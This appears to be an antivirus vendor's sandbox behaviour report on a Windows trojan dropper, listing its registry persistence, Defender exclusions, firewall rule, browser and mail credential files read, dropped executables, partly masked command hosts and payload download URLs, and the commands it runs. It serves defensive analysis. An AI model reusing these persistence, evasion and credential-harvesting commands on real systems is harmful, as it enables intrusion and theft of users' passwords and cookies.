Trojan.Siggen23.22616

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'nocry.exe' = '%TEMP%\1000115001\nocry.exe'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'RageMP131' = '%LOCALAPPDATA%\RageMP131\RageMP131.exe'

Creates or modifies the following files

<SYSTEM32>\tasks\explorhe.exe
<SYSTEM32>\tasks\mpgph131 hr
<SYSTEM32>\tasks\mpgph131 lg

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Defender

adds antivirus exclusion with following registry keys:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{5ED53D88-EECA-4B4A-87A9-905D52A0A486}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = ''
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = ''

Executes the following

'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes

Reads files which store third party applications passwords

%LOCALAPPDATA%\google\chrome\user data\default\cookies
%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\web data
%HOMEPATH%\desktop\adhd_and_obesity.docx
%APPDATA%\mozilla\firefox\profiles.ini
%APPDATA%\mozilla\firefox\profiles\m15ucxjx.default\signons.sqlite
%APPDATA%\mozilla\firefox\profiles\v08trqk6.default-release\signons.sqlite
%APPDATA%\thunderbird\profiles.ini
%APPDATA%\thunderbird\profiles\hmz1jddi.default\signons.sqlite
%APPDATA%\thunderbird\profiles\chdgbv82.default-release\signons.sqlite
%HOMEPATH%\desktop\applicantform_en.doc
%HOMEPATH%\desktop\hadac_newsletter_july_2010_final.docx

Modifies file system

Creates the following files

%TEMP%\d887ceb89d\explorhe.exe
%TEMP%\joba43fdtuypehbuck\ei8dramayu9klogin data
%TEMP%\joba43fdtuypehbuck\d87fzn3r3jfeformhistory.sqlite
%ALLUSERSPROFILE%\adhd_and_obesity.docx
%APPDATA%\thunderbird\profiles\chdgbv82.default-release\places.sqlite-shm
%ALLUSERSPROFILE%\aaaakjkjebghjkfhidgcfcbakk
%TEMP%\joba43fdtuypehbuck\02zdbxl47cvzplaces.sqlite
%ALLUSERSPROFILE%\akkecafbfhjdgdhiehjdhcaehc
%ALLUSERSPROFILE%\cgijkjjkebghjkfidgcaafcafc
%ALLUSERSPROFILE%\ebfbkkjecakehjjjdbafbfbgda
%ALLUSERSPROFILE%\cakkkfbfidgdbfhjjehidhdaaf
%ALLUSERSPROFILE%\ecakkkkjdbkkfiebkehdgcafcb
%ALLUSERSPROFILE%\vcruntime140.dll
%ALLUSERSPROFILE%\softokn3.dll
%APPDATA%\thunderbird\profiles\chdgbv82.default-release\cookies.sqlite-shm
<SYSTEM32>\grouppolicy\gpt.ini
%TEMP%\joba43fdtuypehbuck\02zdbxl47cvzhistory
%TEMP%\joba33fdtuypehbuck\passwords.txt
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%TEMP%\joba43fdtuypehbuck\upg2lopxwc7oplaces.sqlite
%TEMP%\joba43fdtuypehbuck\jx0oqi4nztiqcookies.sqlite
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%ALLUSERSPROFILE%\nss3.dll
%TEMP%\joba43fdtuypehbuck\d87fzn3r3jfeweb data
%TEMP%\joba43fdtuypehbuck\qdx9itdlycrbformhistory.sqlite
%TEMP%\joba43fdtuypehbuck\5lop_s5wm5erplaces.sqlite
%TEMP%\joba43fdtuypehbuck\3b6n2xdh3cywcookies.sqlite
%TEMP%\joba43fdtuypehbuck\qdx9itdlycrbweb data
%TEMP%\joba43fdtuypehbuck\iwpfiaxutjtshistory
%TEMP%\joba43fdtuypehbuck\5lop_s5wm5ercookies
%TEMP%\joba43fdtuypehbuck\kvhrxj77cmugplaces.sqlite
%TEMP%\joba43fdtuypehbuck\3b6n2xdh3cywweb data
%ALLUSERSPROFILE%\msvcp140.dll
%ALLUSERSPROFILE%\mozglue.dll
%ALLUSERSPROFILE%\freebl3.dll
%APPDATA%\006700e5a2ab05\cred64.dll
%TEMP%\1000107001\bhgt79yuh.exe
%TEMP%\1000109001\flesh.exe
%TEMP%\1000111001\hvthvjgfr6tyghgdtrtyigkhvjggft.exe
%TEMP%\main\file.bin
%TEMP%\1000112001\2024.exe
%TEMP%\joba33fdtuypehbuck\information.txt
%TEMP%\1000113001\yt.exe
%TEMP%\1000117001\runtime.exe
%TEMP%\main\main.bat
%TEMP%\1000114001\newrock.exe
%TEMP%\main\7z.dll
%TEMP%\main\7z.exe
%TEMP%\1000115001\nocry.exe
%TEMP%\main\killduplicate.cmd
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%APPDATA%\006700e5a2ab05\clip64.dll
%TEMP%\broomsetup.exe
%TEMP%\31839b57a4f11171d6abc8bbc4451ee4.exe
%ALLUSERSPROFILE%\ijdbgdgc
%ALLUSERSPROFILE%\cakebfcfijjkkecakjeh
%TEMP%\rage131mp.tmp
%ALLUSERSPROFILE%\hiiiecaakecfhiecbkjdhijkjd
%ALLUSERSPROFILE%\ntuser.pol
%TEMP%\rty25.exe
%ALLUSERSPROFILE%\mpgph131\mpgph131.exe
%TEMP%\installsetup7.exe
<SYSTEM32>\grouppolicy\machine\registry.pol
%WINDIR%\syswow64\grouppolicy\gpt.ini
%TEMP%\nse3851.tmp
%TEMP%\nse2d09.tmp
%TEMP%\nse2d0a.tmp\inetc.dll
%LOCALAPPDATA%\ragemp131\ragemp131.exe
%TEMP%\a13muijheujnyroje6bixfaveu1oafyl.zip

Sets the 'hidden' attribute to the following files

%TEMP%\main\killduplicate.cmd

Deletes the following files

%TEMP%\main\file.bin
%TEMP%\joba43fdtuypehbuck\d87fzn3r3jfeformhistory.sqlite
%TEMP%\joba43fdtuypehbuck\02zdbxl47cvzhistory
%TEMP%\joba43fdtuypehbuck\3b6n2xdh3cywweb data
%TEMP%\joba43fdtuypehbuck\5lop_s5wm5ercookies
%TEMP%\joba43fdtuypehbuck\iwpfiaxutjtshistory
%TEMP%\joba43fdtuypehbuck\ei8dramayu9klogin data
%TEMP%\joba43fdtuypehbuck\d87fzn3r3jfeweb data
%TEMP%\joba43fdtuypehbuck\qdx9itdlycrbweb data
%TEMP%\joba43fdtuypehbuck\5lop_s5wm5erplaces.sqlite
%TEMP%\joba43fdtuypehbuck\qdx9itdlycrbformhistory.sqlite
%TEMP%\joba43fdtuypehbuck\kvhrxj77cmugplaces.sqlite
%TEMP%\joba43fdtuypehbuck\jx0oqi4nztiqcookies.sqlite
%TEMP%\joba43fdtuypehbuck\upg2lopxwc7oplaces.sqlite
%TEMP%\joba43fdtuypehbuck\02zdbxl47cvzplaces.sqlite
%TEMP%\joba43fdtuypehbuck\3b6n2xdh3cywcookies.sqlite
%TEMP%\nse3851.tmp
%ALLUSERSPROFILE%\adhd_and_obesity.docx
%ALLUSERSPROFILE%\aaaakjkjebghjkfhidgcfcbakk
%TEMP%\main\main.bat
%TEMP%\main\7z.dll
%TEMP%\main\7z.exe
%TEMP%\nse2d09.tmp
%ALLUSERSPROFILE%\hiiiecaakecfhiecbkjdhijkjd
%ALLUSERSPROFILE%\cakebfcfijjkkecakjeh
%TEMP%\main\killduplicate.cmd
%ALLUSERSPROFILE%\ijdbgdgc
%ALLUSERSPROFILE%\cakkkfbfidgdbfhjjehidhdaaf
%ALLUSERSPROFILE%\ebfbkkjecakehjjjdbafbfbgda
%APPDATA%\thunderbird\profiles\chdgbv82.default-release\cookies.sqlite-shm
%ALLUSERSPROFILE%\cgijkjjkebghjkfidgcaafcafc
%ALLUSERSPROFILE%\akkecafbfhjdgdhiehjdhcaehc
%APPDATA%\thunderbird\profiles\chdgbv82.default-release\places.sqlite-shm
%ALLUSERSPROFILE%\ecakkkkjdbkkfiebkehdgcafcb
%TEMP%\a13muijheujnyroje6bixfaveu1oafyl.zip
%TEMP%\nse2d0a.tmp\inetc.dll

Modifies the following files

Substitutes the following files

%TEMP%\main\file.bin
%TEMP%\main\killduplicate.cmd
%TEMP%\main\main.bat
%TEMP%\main\7z.dll

Network activity

Connects to

'18#.#15.113.68':80
'77.#1.68.21':80
'5.##.66.0':80
'cr####cgamings.com':80
'i.####3ksgaa.com':443
'ap#.#pify.org':80
'91.##.255.226':80
'18#.#72.128.53':80
'5.##.65.31':48396
'18#.#72.128.79':80
'19#.#0.16.103':20440
'19#.#33.132.62':50500
'ip##fo.io':443
'db##p.com':443
'ma##ind.com':80

TCP

HTTP GET requests

http://77.#1.68.21/lend/bhgt79yuh.exe
http://18#.#72.128.79/f059ec3d7eb90876/softokn3.dll
http://18#.#72.128.79/f059ec3d7eb90876/nss3.dll
http://18#.#72.128.79/f059ec3d7eb90876/msvcp140.dll
http://18#.#72.128.79/f059ec3d7eb90876/mozglue.dll
http://18#.#72.128.79/f059ec3d7eb90876/freebl3.dll
http://18#.#72.128.79/f059ec3d7eb90876/sqlite3.dll
http://18#.#72.128.53/syncUpd.exe
http://91.##.255.226/scripts/plus.php?ip#################################
http://18#.#72.128.79/f059ec3d7eb90876/vcruntime140.dll
http://ap#.#pify.org/?fo########
http://cr####cgamings.com/Runtime.exe
http://77.#1.68.21/mine/nocry.exe
http://5.##.66.0/newrock.exe
http://18#.#15.113.68/theme/Plugins/cred64.dll
http://77.#1.68.21/lend/YT.exe
http://77.#1.68.21/lend/2024.exe
http://77.#1.68.21/lend/hvthvjgfr6tyghgdtrtyigkhvjggft.exe
http://77.#1.68.21/lend/flesh.exe
http://18#.#15.113.68/theme/Plugins/clip64.dll
http://www.ma##ind.com/geoip/v2.1/city/me

HTTP POST requests

http://18#.#15.113.68/theme/index.php

Other

'i.####3ksgaa.com':443
'5.##.65.31':48396
'19#.#33.132.62':50500
'ip##fo.io':443
'db##p.com':443
'19#.#0.16.103':20440

UDP

DNS ASK cr####cgamings.com
DNS ASK i.####3ksgaa.com
DNS ASK ap#.#pify.org
DNS ASK ip##fo.io
DNS ASK db##p.com
DNS ASK ma##ind.com

Miscellaneous

Searches for the following windows

ClassName: 'msctls_updown32' WindowName: ''

Creates and executes the following

'%TEMP%\d887ceb89d\explorhe.exe'
'%TEMP%\main\7z.exe' e extracted/file_8.zip -oextracted
'%TEMP%\broomsetup.exe'
'%TEMP%\main\7z.exe' e extracted/file_4.zip -oextracted
'%TEMP%\rty25.exe'
'%TEMP%\main\7z.exe' e extracted/file_5.zip -oextracted
'%TEMP%\main\7z.exe' e extracted/file_6.zip -oextracted
'%TEMP%\31839b57a4f11171d6abc8bbc4451ee4.exe'
'%TEMP%\installsetup7.exe'
'%TEMP%\main\7z.exe' e extracted/file_7.zip -oextracted
'%TEMP%\nse3851.tmp'
'%TEMP%\1000117001\runtime.exe'
'%TEMP%\main\7z.exe' e file.zip -p111022063728656254622261232667 -oextracted
'%TEMP%\1000115001\nocry.exe'
'%TEMP%\main\7z.exe' e extracted/file_9.zip -oextracted
'%TEMP%\1000114001\newrock.exe'
'%TEMP%\1000113001\yt.exe'
'%TEMP%\1000112001\2024.exe'
'%TEMP%\1000111001\hvthvjgfr6tyghgdtrtyigkhvjggft.exe'
'%TEMP%\1000109001\flesh.exe'
'%TEMP%\1000107001\bhgt79yuh.exe'
'%WINDIR%\syswow64\cmd.exe' /c timeout /t 5 & del /f /q "%TEMP%\nse3851.tmp" & del "%ALLUSERSPROFILE%\*.dll"" & exit' (with hidden window)
'%WINDIR%\rss\csrss.exe' ' (with hidden window)
'%TEMP%\1000107001\bhgt79yuh.exe' ' (with hidden window)
'<SYSTEM32>\schtasks.exe' /delete /tn ScheduledUpdate /f' (with hidden window)
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\main\main.bat" /S"' (with hidden window)
'%TEMP%\d887ceb89d\explorhe.exe' ' (with hidden window)
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "%TEMP%\d887ceb89d\explorhe.exe" /F' (with hidden window)
'%TEMP%\1000113001\yt.exe' ' (with hidden window)
'%TEMP%\1000114001\newrock.exe' ' (with hidden window)
'%TEMP%\1000117001\runtime.exe' ' (with hidden window)
'%TEMP%\1000111001\hvthvjgfr6tyghgdtrtyigkhvjggft.exe' ' (with hidden window)
'%TEMP%\csrss\injector\injector.exe' taskmgr.exe %TEMP%\csrss\injector\NtQuerySystemInformationHook.dll' (with hidden window)
'%TEMP%\1000115001\nocry.exe' ' (with hidden window)
'%TEMP%\1000112001\2024.exe' ' (with hidden window)
'%WINDIR%\syswow64\rundll32.exe' %APPDATA%\006700e5a2ab05\clip64.dll, Main' (with hidden window)
'%TEMP%\1000109001\flesh.exe' ' (with hidden window)
'<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"' (with hidden window)
'%TEMP%\csrss\patch.exe' ' (with hidden window)

Executes the following

'%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "%TEMP%\d887ceb89d\explorhe.exe" /F
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\main\main.bat" /S"
'<SYSTEM32>\mode.com' 65,10
'%WINDIR%\syswow64\rundll32.exe' %APPDATA%\006700e5a2ab05\clip64.dll, Main
'<SYSTEM32>\attrib.exe' +H "JTGwusI7cICuEzA3R2d19eyBuulw41ON3P7Png.exe"
'%WINDIR%\syswow64\schtasks.exe' /create /f /RU "user" /tr "%ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
'%WINDIR%\syswow64\schtasks.exe' /create /f /RU "user" /tr "%ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
'<SYSTEM32>\svchost.exe' -k secsvcs
'<SYSTEM32>\taskeng.exe' {EB6E395D-176C-40AC-8D72-A6CAFD15712E} S-1-5-21-3150914307-1777937420-491476919-1000:vcpwquytvs\user:Interactive:[1]
'%WINDIR%\syswow64\cmd.exe' /c timeout /t 5 & del /f /q "%TEMP%\nse3851.tmp" & del "%ALLUSERSPROFILE%\*.dll"" & exit
'<SYSTEM32>\raserver.exe' /offerraupdate
'%WINDIR%\syswow64\timeout.exe' /t 5
'<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F
'<SYSTEM32>\schtasks.exe' /delete /tn ScheduledUpdate /f

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней